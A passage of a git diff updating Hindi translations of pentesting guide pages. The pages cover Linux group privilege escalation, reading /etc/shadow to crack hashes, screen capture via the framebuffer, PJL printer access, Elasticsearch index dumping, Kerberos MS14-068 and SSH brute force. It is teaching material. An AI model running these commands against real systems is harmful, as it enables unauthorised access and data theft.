बल्कि इसलिए है कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या का एक समाधान यहाँ है: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग ssh सत्र** की आवश्यकता है: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -66,11 +65,11 @@ sudo su ``` # Shadow Group -**शेडो समूह** के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं: +**शेडो** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं: ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -तो, फ़ाइल पढ़ें और कुछ **हैश क्रैक करने** की कोशिश करें। +तो, फ़ाइल को पढ़ें और कुछ **हैश क्रैक करने** की कोशिश करें। # डिस्क समूह @@ -101,7 +100,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1** का मतलब है कि उपयोगकर्ता **yossi शारीरिक रूप से** मशीन पर एक टर्मिनल में लॉग इन है। -**video group** को स्क्रीन आउटपुट देखने का अधिकार है। मूल रूप से आप स्क्रीन को देख सकते हैं। ऐसा करने के लिए, आपको **स्क्रीन पर वर्तमान छवि को** कच्चे डेटा में प्राप्त करना होगा और यह जानना होगा कि स्क्रीन किस रिज़ॉल्यूशन का उपयोग कर रही है। स्क्रीन डेटा को `/dev/fb0` में सहेजा जा सकता है और आप इस स्क्रीन का रिज़ॉल्यूशन `/sys/class/graphics/fb0/virtual_size` पर पा सकते हैं। +**वीडियो समूह** को स्क्रीन आउटपुट देखने का अधिकार है। मूल रूप से आप स्क्रीन को देख सकते हैं। ऐसा करने के लिए, आपको **स्क्रीन पर वर्तमान छवि को** कच्चे डेटा में प्राप्त करना होगा और यह जानना होगा कि स्क्रीन किस रिज़ॉल्यूशन का उपयोग कर रही है। स्क्रीन डेटा को `/dev/fb0` में सहेजा जा सकता है और आप इस स्क्रीन का रिज़ॉल्यूशन `/sys/class/graphics/fb0/virtual_size` पर पा सकते हैं। ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size @@ -116,7 +115,7 @@ cat /sys/class/graphics/fb0/virtual_size # रूट समूह -ऐसा लगता है कि डिफ़ॉल्ट रूप से **रूट समूह के सदस्य** कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलों या कुछ **लाइब्रेरी** फ़ाइलों या **अन्य दिलचस्प चीजों** को **संशोधित** करने तक पहुँच सकते हैं, जिन्हें विशेषाधिकार बढ़ाने के लिए उपयोग किया जा सकता है... +ऐसा लगता है कि डिफ़ॉल्ट रूप से **रूट समूह के सदस्य** कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलों या कुछ **लाइब्रेरी** फ़ाइलों या **अन्य दिलचस्प चीजों** को **संशोधित** करने तक पहुँच सकते हैं जो विशेषाधिकार बढ़ाने के लिए उपयोग की जा सकती हैं... **जांचें कि रूट सदस्य कौन सी फ़ाइलें संशोधित कर सकते हैं**: ```bash @@ -126,13 +125,16 @@ find / -group root -perm -g=w 2>/dev/null आप होस्ट मशीन के रूट फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। यह प्रभावी रूप से आपको मशीन पर रूट देता है। -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} # lxc/lxd Group [lxc - Privilege Escalation](lxd-privilege-escalation.md) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/misc/references.md b/src/misc/references.md index 9e5dd6281..eb3792a1f 100644 --- a/src/misc/references.md +++ b/src/misc/references.md @@ -1,49 +1,95 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} +{{#ref}} +https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick +{{#endref}} -{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} +{{#ref}} +https://hausec.com/pentesting-cheatsheet/#_Toc475368982 +{{#endref}} -{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} +{{#ref}} +https://anhtai.me/pentesting-cheatsheet/ +{{#endref}} -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} +{{#ref}} +https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html +{{#endref}} -{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} +{{#ref}} +https://ired.team/offensive-security-experiments/offensive-security-cheetsheets +{{#endref}} -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} +{{#ref}} +https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html +{{#endref}} -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} +{{#ref}} +https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md +{{#endref}} -{% embed url="https://anhtai.me/oscp-fun-guide/" %} +{{#ref}} +https://anhtai.me/oscp-fun-guide/ +{{#endref}} -{% embed url="https://www.thehacker.recipes/" %} +{{#ref}} +https://www.thehacker.recipes/ +{{#endref}} -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} +{{#ref}} +https://github.com/swisskyrepo/PayloadsAllTheThings +{{#endref}} -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} +{{#ref}} +https://github.com/RistBS/Awesome-RedTeam-Cheatsheet +{{#endref}} -{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} +{{#ref}} +https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet +{{#endref}} -{% embed url="https://hideandsec.sh/" %} +{{#ref}} +https://hideandsec.sh/ +{{#endref}} -{% embed url="https://cheatsheet.haax.fr/" %} +{{#ref}} +https://cheatsheet.haax.fr/ +{{#endref}} -{% embed url="https://infosecwriteups.com/" %} +{{#ref}} +https://infosecwriteups.com/ +{{#endref}} -{% embed url="https://www.exploit-db.com/" %} +{{#ref}} +https://www.exploit-db.com/ +{{#endref}} -{% embed url="https://wadcoms.github.io/" %} +{{#ref}} +https://wadcoms.github.io/ +{{#endref}} -{% embed url="https://lolbas-project.github.io" %} +{{#ref}} +https://lolbas-project.github.io +{{#endref}} -{% embed url="https://pentestbook.six2dez.com/" %} +{{#ref}} +https://pentestbook.six2dez.com/ +{{#endref}} -{% embed url="https://www.hackingarticles.in/" %} +{{#ref}} +https://www.hackingarticles.in/ +{{#endref}} -{% embed url="https://pentestlab.blog/" %} +{{#ref}} +https://pentestlab.blog/ +{{#endref}} -{% embed url="https://ippsec.rocks/" %} +{{#ref}} +https://ippsec.rocks/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index f66c2392d..e8e2642c2 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -8,6 +8,8 @@ अधिक जानकारी के लिए देखें: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index 2089f4680..653f36dcc 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -2,7 +2,7 @@ # मूल जानकारी -From [here](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw printing वह प्रक्रिया है जिसे हम नेटवर्क प्रिंटर के पोर्ट 9100/tcp से कनेक्शन बनाने के रूप में परिभाषित करते हैं। यह CUPS और Windows प्रिंटिंग आर्किटेक्चर द्वारा नेटवर्क प्रिंटर के साथ संवाद करने के लिए उपयोग किया जाने वाला डिफ़ॉल्ट तरीका है क्योंकि इसे ‘_प्रिंटर के लिए उपयोग किया जाने वाला सबसे सरल, तेज़ और सामान्यतः सबसे विश्वसनीय नेटवर्क प्रोटोकॉल_’ माना जाता है। Raw port 9100 printing, जिसे JetDirect, AppSocket या PDL-datastream भी कहा जाता है, वास्तव में **स्वयं में एक प्रिंटिंग प्रोटोकॉल नहीं है**। इसके बजाय **भेजा गया सभी डेटा सीधे प्रिंटिंग डिवाइस द्वारा संसाधित किया जाता है**, ठीक उसी तरह जैसे TCP पर एक समानांतर कनेक्शन। LPD, IPP और SMB की तुलना में, यह क्लाइंट को सीधे फीडबैक भेज सकता है, जिसमें स्थिति और त्रुटि संदेश शामिल हैं। ऐसा एक **द्विदिश चैनल** हमें **PJL**, **PostScript** या **PCL** कमांड के **परिणामों** तक सीधे **पहुँच** देता है। इसलिए raw port 9100 printing – जिसे लगभग किसी भी नेटवर्क प्रिंटर द्वारा समर्थित किया जाता है – PRET और PFT के साथ सुरक्षा विश्लेषण के लिए चैनल के रूप में उपयोग किया जाता है। +From [here](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw printing वह प्रक्रिया है जिसे हम नेटवर्क प्रिंटर के पोर्ट 9100/tcp से कनेक्शन बनाने के रूप में परिभाषित करते हैं। यह CUPS और Windows प्रिंटिंग आर्किटेक्चर द्वारा नेटवर्क प्रिंटर के साथ संवाद करने के लिए उपयोग किया जाने वाला डिफ़ॉल्ट तरीका है क्योंकि इसे ‘_प्रिंटर के लिए उपयोग किया जाने वाला सबसे सरल, तेज़ और सामान्यतः सबसे विश्वसनीय नेटवर्क प्रोटोकॉल_’ माना जाता है। Raw port 9100 printing, जिसे JetDirect, AppSocket या PDL-datastream भी कहा जाता है, वास्तव में **अपने आप में एक प्रिंटिंग प्रोटोकॉल नहीं है**। इसके बजाय **भेजा गया सभी डेटा सीधे प्रिंटिंग डिवाइस द्वारा संसाधित किया जाता है**, ठीक उसी तरह जैसे TCP पर एक समानांतर कनेक्शन। LPD, IPP और SMB की तुलना में, यह क्लाइंट को सीधे फीडबैक भेज सकता है, जिसमें स्थिति और त्रुटि संदेश शामिल हैं। ऐसा **द्विदिश चैनल** हमें **PJL**, **PostScript** या **PCL** कमांड के **परिणामों** तक सीधे **पहुँच** देता है। इसलिए raw port 9100 printing – जिसे लगभग किसी भी नेटवर्क प्रिंटर द्वारा समर्थित किया जाता है – PRET और PFT के साथ सुरक्षा विश्लेषण के लिए चैनल के रूप में उपयोग किया जाता है। If you want to learn more about [**hacking printers read this page**](http://hacking-printers.net/wiki/index.php/Main_Page). @@ -12,7 +12,7 @@ If you want to learn more about [**hacking printers read this page**](http://hac ``` # Enumeration -## Manual +## मैनुअल ```bash nc -vn 9100 @PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE @@ -48,9 +48,11 @@ msf> use auxiliary/scanner/printer/printer_delete_file यह वह टूल है जिसका आप प्रिंटर्स का दुरुपयोग करने के लिए उपयोग करना चाहते हैं: -{% embed url="https://github.com/RUB-NDS/PRET" %} +{{#ref}} +https://github.com/RUB-NDS/PRET +{{#endref}} -# **शोडन** +# **शोडान** - `pjl port:9100` diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 19ece7882..6ce82472f 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -8,11 +8,11 @@ Elasticsearch एक **वितरित**, **ओपन सोर्स** ख ### What is an Elasticsearch index? -एक Elasticsearch **index** **संबंधित दस्तावेजों** का एक संग्रह है जो **JSON** के रूप में संग्रहीत होते हैं। प्रत्येक दस्तावेज में **कीज़** और उनके संबंधित **मान** (स्ट्रिंग, नंबर, बूलियन, तिथियाँ, एरे, भू-स्थान, आदि) होते हैं। +एक Elasticsearch **index** **संबंधित दस्तावेजों** का एक संग्रह है जो **JSON** के रूप में संग्रहीत होते हैं। प्रत्येक दस्तावेज में **कुंजी** और उनके संबंधित **मान** (स्ट्रिंग, नंबर, बूलियन, तिथियाँ, एरे, भू-स्थान, आदि) होते हैं। -Elasticsearch तेज पूर्ण-पाठ खोजों को सुविधाजनक बनाने के लिए एक कुशल डेटा संरचना का उपयोग करता है जिसे **inverted index** कहा जाता है। यह इंडेक्स दस्तावेजों में प्रत्येक अद्वितीय शब्द को सूचीबद्ध करता है और उन दस्तावेजों की पहचान करता है जिनमें प्रत्येक शब्द प्रकट होता है। +Elasticsearch तेज पूर्ण-पाठ खोजों को सुविधाजनक बनाने के लिए एक कुशल डेटा संरचना का उपयोग करता है जिसे **inverted index** कहा जाता है। यह इंडेक्स दस्तावेजों में हर अद्वितीय शब्द को सूचीबद्ध करता है और उन दस्तावेजों की पहचान करता है जिनमें प्रत्येक शब्द प्रकट होता है। -इंडेक्सिंग प्रक्रिया के दौरान, Elasticsearch दस्तावेजों को संग्रहीत करता है और उल्टे इंडेक्स का निर्माण करता है, जिससे लगभग वास्तविक समय में खोजने की अनुमति मिलती है। **index API** का उपयोग एक विशिष्ट इंडेक्स के भीतर JSON दस्तावेज़ जोड़ने या अपडेट करने के लिए किया जाता है। +इंडेक्सिंग प्रक्रिया के दौरान, Elasticsearch दस्तावेजों को संग्रहीत करता है और inverted index का निर्माण करता है, जिससे लगभग वास्तविक समय में खोजने की अनुमति मिलती है। **index API** का उपयोग एक विशिष्ट इंडेक्स के भीतर JSON दस्तावेजों को जोड़ने या अपडेट करने के लिए किया जाता है। **डिफ़ॉल्ट पोर्ट**: 9200/tcp @@ -35,12 +35,12 @@ Elasticsearch तक पहुँचने के लिए उपयोग क curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" {"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500} ``` -**हालांकि**, यदि आप `/` पर एक अनुरोध भेजते हैं और निम्नलिखित प्रतिक्रिया प्राप्त करते हैं: +**हालांकि**, यदि आप `/` पर एक अनुरोध भेजते हैं और निम्नलिखित जैसे एक प्रतिक्रिया प्राप्त करते हैं: ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -इसका मतलब है कि प्रमाणीकरण कॉन्फ़िगर किया गया है और **आपको कोई भी जानकारी प्राप्त करने के लिए मान्य क्रेडेंशियल्स की आवश्यकता है**। फिर, आप [**इसे ब्रूटफोर्स करने की कोशिश कर सकते हैं**](../generic-hacking/brute-force.md#elasticsearch) (यह HTTP बेसिक ऑथ का उपयोग करता है, इसलिए BF HTTP बेसिक ऑथ का उपयोग किया जा सकता है)।\ -यहाँ आपके पास **डिफ़ॉल्ट उपयोगकर्ता नामों की सूची** है: _**elastic** (सुपरयूजर), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch के पुराने संस्करणों के लिए इस उपयोगकर्ता का डिफ़ॉल्ट पासवर्ड **changeme** है। +इसका मतलब है कि प्रमाणीकरण कॉन्फ़िगर किया गया है और **आपको कोई जानकारी प्राप्त करने के लिए मान्य क्रेडेंशियल्स की आवश्यकता है** elasticsearch से। फिर, आप [**इसे ब्रूटफोर्स करने की कोशिश कर सकते हैं**](../generic-hacking/brute-force.md#elasticsearch) (यह HTTP बेसिक ऑथ का उपयोग करता है, इसलिए BF HTTP बेसिक ऑथ का उपयोग किया जा सकता है)।\ +यहाँ आपके पास **डिफ़ॉल्ट उपयोगकर्ता नामों की सूची** है: _**elastic** (सुपरयूजर), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch के पुराने संस्करणों के लिए इस उपयोगकर्ता के लिए डिफ़ॉल्ट पासवर्ड **changeme** है। ``` curl -X GET http://user:password@IP:9200/ ``` @@ -57,7 +57,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" ``` ### Elastic Info -यहाँ कुछ endpoints हैं जिन्हें आप **GET के माध्यम से** **प्राप्त करने** के लिए **एक्सेस** कर सकते हैं elasticsearch के बारे में कुछ **जानकारी**: +यहाँ कुछ endpoints हैं जिन्हें आप **GET के माध्यम से** **जानकारी** प्राप्त करने के लिए **एक्सेस** कर सकते हैं elasticsearch के बारे में: | \_cat | /\_cluster | /\_security | | ------------------------------ | ----------------------------- | ------------------------ | @@ -87,13 +87,13 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" | /\_cat/nodes | | | ये endpoints [**दस्तावेज़ीकरण से लिए गए हैं**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) जहाँ आप **और अधिक** पा सकते हैं।\ -इसके अलावा, यदि आप `/_cat` को एक्सेस करते हैं तो प्रतिक्रिया में `/_cat/*` endpoints शामिल होंगे जो इंस्टेंस द्वारा समर्थित हैं। +इसके अलावा, यदि आप `/_cat` एक्सेस करते हैं तो प्रतिक्रिया में `/_cat/*` endpoints शामिल होंगे जो इंस्टेंस द्वारा समर्थित हैं। `/_security/user` में (यदि प्रमाणीकरण सक्षम है) आप देख सकते हैं कि कौन सा उपयोगकर्ता `superuser` भूमिका रखता है। ### Indices -आप सभी इंडेक्स को **एकत्रित** कर सकते हैं `http://10.10.10.115:9200/_cat/indices?v` एक्सेस करके। +आप सभी इंडिसेस को **एक्सेस करके इकट्ठा कर सकते हैं** `http://10.10.10.115:9200/_cat/indices?v` ``` health status index uuid pri rep docs.count docs.deleted store.size pri.store.size green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb @@ -110,11 +110,11 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 ![](<../images/image (914).png>) -_एक पल लें और बैंक इंडेक्स के प्रत्येक दस्तावेज़ (एंट्री) की सामग्री की तुलना करें और इस इंडेक्स के फ़ील्ड की जो हमने पिछले अनुभाग में देखी थी।_ +_एक पल के लिए बैंक इंडेक्स के प्रत्येक दस्तावेज़ (एंट्री) की सामग्री की तुलना करें और इस इंडेक्स के फ़ील्ड जो हमने पिछले अनुभाग में देखे थे।_ तो, इस बिंदु पर आप देख सकते हैं कि **"हिट्स" के अंदर "कुल" नाम का एक फ़ील्ड है** जो यह संकेत करता है कि **इस इंडेक्स के अंदर 1000 दस्तावेज़ पाए गए** लेकिन केवल 10 को पुनः प्राप्त किया गया। इसका कारण यह है कि **डिफ़ॉल्ट रूप से 10 दस्तावेज़ों की सीमा है।**\ लेकिन, अब जब आप जानते हैं कि **इस इंडेक्स में 1000 दस्तावेज़ हैं**, आप **उनमें से सभी को डंप कर सकते हैं** यह बताते हुए कि आप कितनी एंट्रीज़ को डंप करना चाहते हैं **`size`** पैरामीटर में: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_नोट: यदि आप बड़ा नंबर बताते हैं तो सभी एंट्रीज़ डंप हो जाएंगी, उदाहरण के लिए आप `size=9999` बता सकते हैं और यह अजीब होगा यदि अधिक एंट्रीज़ हों (लेकिन आपको जांचना चाहिए)।_ +\&#xNAN;_नोट: यदि आप बड़ा नंबर बताते हैं तो सभी एंट्रीज़ वैसे भी डंप हो जाएंगी, उदाहरण के लिए आप `size=9999` बता सकते हैं और यह अजीब होगा यदि अधिक एंट्रीज़ हों (लेकिन आपको जांचना चाहिए)।_ ### सभी डंप करें @@ -135,7 +135,7 @@ _ध्यान दें कि सामग्री खोजने के ### लिखने की अनुमति -आप अपनी लिखने की अनुमति की जांच कर सकते हैं, एक नए इंडेक्स के अंदर एक नया दस्तावेज़ बनाने की कोशिश करके, कुछ इस तरह चलाकर: +आप एक नए इंडेक्स के अंदर एक नया दस्तावेज़ बनाने की कोशिश करके अपनी लिखने की अनुमति की जांच कर सकते हैं, कुछ इस तरह चलाकर: ```bash curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d' { @@ -161,11 +161,12 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` -{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %} +{{#ref}} +https://github.com/theMiddleBlue/nmap-elasticsearch-nse +{{#endref}} ## Shodan - `port:9200 elasticsearch` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index d3c46c6ff..49f432e50 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -4,7 +4,9 @@ # **डिफ़ॉल्ट पासवर्ड** -{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %} +{{#ref}} +http://www.vulnerabilityassessment.co.uk/passwordsC.htm +{{#endref}} # कॉन्फ़िग फ़ाइलें ```text diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 038baed54..9b8f61936 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -27,7 +27,9 @@ PORT STATE SERVICE MS14-068 दोष एक हमलावर को एक वैध उपयोगकर्ता के Kerberos लॉगिन टोकन के साथ छेड़छाड़ करने की अनुमति देता है ताकि झूठे तरीके से उच्चाधिकार का दावा किया जा सके, जैसे कि एक डोमेन एडमिन होना। यह नकली दावा गलती से डोमेन कंट्रोलर द्वारा मान्य किया जाता है, जिससे Active Directory वन में नेटवर्क संसाधनों तक अनधिकृत पहुंच संभव होती है। -{% embed url="https://adsecurity.org/?p=541" %} +{{#ref}} +https://adsecurity.org/?p=541 +{{#endref}} अन्य शोषण: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index ea6f5d67c..dbafb3e6d 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -2,11 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - - ## Basic Information -**SSH (सिक्योर शेल या सिक्योर सॉकेट शेल)** एक नेटवर्क प्रोटोकॉल है जो असुरक्षित नेटवर्क पर एक कंप्यूटर से सुरक्षित कनेक्शन सक्षम करता है। यह दूरस्थ सिस्टम तक पहुँचने पर डेटा की गोपनीयता और अखंडता बनाए रखने के लिए आवश्यक है। +**SSH (सिक्योर शेल या सिक्योर सॉकेट शेल)** एक नेटवर्क प्रोटोकॉल है जो असुरक्षित नेटवर्क के माध्यम से कंप्यूटर से सुरक्षित कनेक्शन सक्षम बनाता है। यह दूरस्थ सिस्टम तक पहुँचने पर डेटा की गोपनीयता और अखंडता बनाए रखने के लिए आवश्यक है। **डिफ़ॉल्ट पोर्ट:** 22 ``` @@ -21,12 +19,12 @@ **SSH पुस्तकालय (सर्वर-साइड कार्यान्वयन):** -- [libssh](https://www.libssh.org) – SSHv2 प्रोटोकॉल को लागू करने वाला बहु-प्लेटफ़ॉर्म C पुस्तकालय जिसमें [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) और [R](https://github.com/ropensci/ssh) में बाइंडिंग हैं; इसका उपयोग KDE द्वारा sftp के लिए और GitHub द्वारा git SSH अवसंरचना के लिए किया जाता है +- [libssh](https://www.libssh.org) – बहु-प्लेटफ़ॉर्म C पुस्तकालय जो SSHv2 प्रोटोकॉल को [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) और [R](https://github.com/ropensci/ssh) में बाइंडिंग के साथ कार्यान्वित करता है; इसका उपयोग KDE द्वारा sftp के लिए और GitHub द्वारा git SSH अवसंरचना के लिए किया जाता है - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C में लिखा गया SSHv2 सर्वर पुस्तकालय जो एम्बेडेड, RTOS, और संसाधन-सीमित वातावरण के लिए लक्षित है - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD जावा पुस्तकालय Apache MINA पर आधारित है - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 प्रोटोकॉल पुस्तकालय -## एन्यूमरेशन +## गणना ### बैनर ग्रैबिंग ```bash @@ -97,7 +95,7 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a ### उपयोगकर्ता नाम गणना -OpenSSH के कुछ संस्करणों में आप उपयोगकर्ताओं की गणना करने के लिए एक टाइमिंग अटैक कर सकते हैं। आप इसे शोषण करने के लिए एक मेटास्प्लॉट मॉड्यूल का उपयोग कर सकते हैं: +OpenSSH के कुछ संस्करणों में आप उपयोगकर्ताओं की गणना के लिए एक टाइमिंग अटैक कर सकते हैं। आप इसे शोषण करने के लिए एक मेटास्प्लॉइट मॉड्यूल का उपयोग कर सकते हैं: ``` msf> use scanner/ssh/ssh_enumusers ``` @@ -115,21 +113,23 @@ https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` -या `ssh-keybrute.py` का उपयोग करें (स्वदेशी python3, हल्का और इसमें विरासती एल्गोरिदम सक्षम हैं): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)। +या `ssh-keybrute.py` का उपयोग करें (स्वदेशी python3, हल्का और इसमें विरासती एल्गोरिदम सक्षम हैं): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### ज्ञात खराब कुंजी यहाँ मिल सकती हैं: -{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} +{{#ref}} +https://github.com/rapid7/ssh-badkeys/tree/master/authorized +{{#endref}} #### कमजोर SSH कुंजी / डेबियन पूर्वानुमानित PRNG -कुछ सिस्टम में क्रिप्टोग्राफिक सामग्री उत्पन्न करने के लिए उपयोग किए जाने वाले यादृच्छिक बीज में ज्ञात दोष होते हैं। इससे कुंजी स्थान में नाटकीय रूप से कमी आ सकती है जिसे ब्रूटफोर्स किया जा सकता है। कमजोर PRNG से प्रभावित डेबियन सिस्टम पर उत्पन्न पूर्व-निर्मित कुंजी सेट यहाँ उपलब्ध हैं: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)। +कुछ सिस्टम में क्रिप्टोग्राफिक सामग्री उत्पन्न करने के लिए उपयोग किए जाने वाले यादृच्छिक बीज में ज्ञात दोष होते हैं। इससे कुंजी स्थान में नाटकीय रूप से कमी आ सकती है जिसे ब्रूटफोर्स किया जा सकता है। कमजोर PRNG से प्रभावित डेबियन सिस्टम पर उत्पन्न पूर्व-निर्मित कुंजी सेट यहाँ उपलब्ध हैं: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). आपको पीड़ित मशीन के लिए वैध कुंजी खोजने के लिए यहाँ देखना चाहिए। ### केर्बेरोस -**crackmapexec** `ssh` प्रोटोकॉल का उपयोग करते हुए `--kerberos` विकल्प का उपयोग करके **केर्बेरोस के माध्यम से प्रमाणीकरण** कर सकता है।\ +**crackmapexec** `ssh` प्रोटोकॉल का उपयोग करते समय **kerberos के माध्यम से प्रमाणीकरण** करने के लिए `--kerberos` विकल्प का उपयोग कर सकता है।\ अधिक जानकारी के लिए `crackmapexec ssh --help` चलाएँ। ## डिफ़ॉल्ट क्रेडेंशियल्स @@ -157,9 +157,9 @@ msf> use scanner/ssh/ssh_identify_pubkeys **हमले का मार्ग:** -- **ट्रैफ़िक पुनर्निर्देशन:** हमलावर **पीड़ित के ट्रैफ़िक को** अपनी मशीन पर **हस्तांतरित** करता है, प्रभावी रूप से SSH सर्वर से कनेक्शन प्रयास को **अवरोधित** करता है। -- **हस्तक्षेप और लॉगिंग:** हमलावर की मशीन एक **प्रॉक्सी** के रूप में कार्य करती है, उपयोगकर्ता के लॉगिन विवरणों को वैध SSH सर्वर होने का नाटक करके **कैप्चर** करती है। -- **कमांड निष्पादन और रिले:** अंततः, हमलावर का सर्वर **उपयोगकर्ता के क्रेडेंशियल्स को लॉग करता है**, **कमांड को** असली SSH सर्वर पर **आगे बढ़ाता है**, **उन्हें निष्पादित** करता है, और **परिणामों को वापस** उपयोगकर्ता को भेजता है, जिससे प्रक्रिया सहज और वैध प्रतीत होती है। +- **ट्रैफ़िक पुनर्निर्देशन:** हमलावर पीड़ित के ट्रैफ़िक को अपनी मशीन की ओर **मोड़ता** है, प्रभावी रूप से SSH सर्वर से कनेक्शन 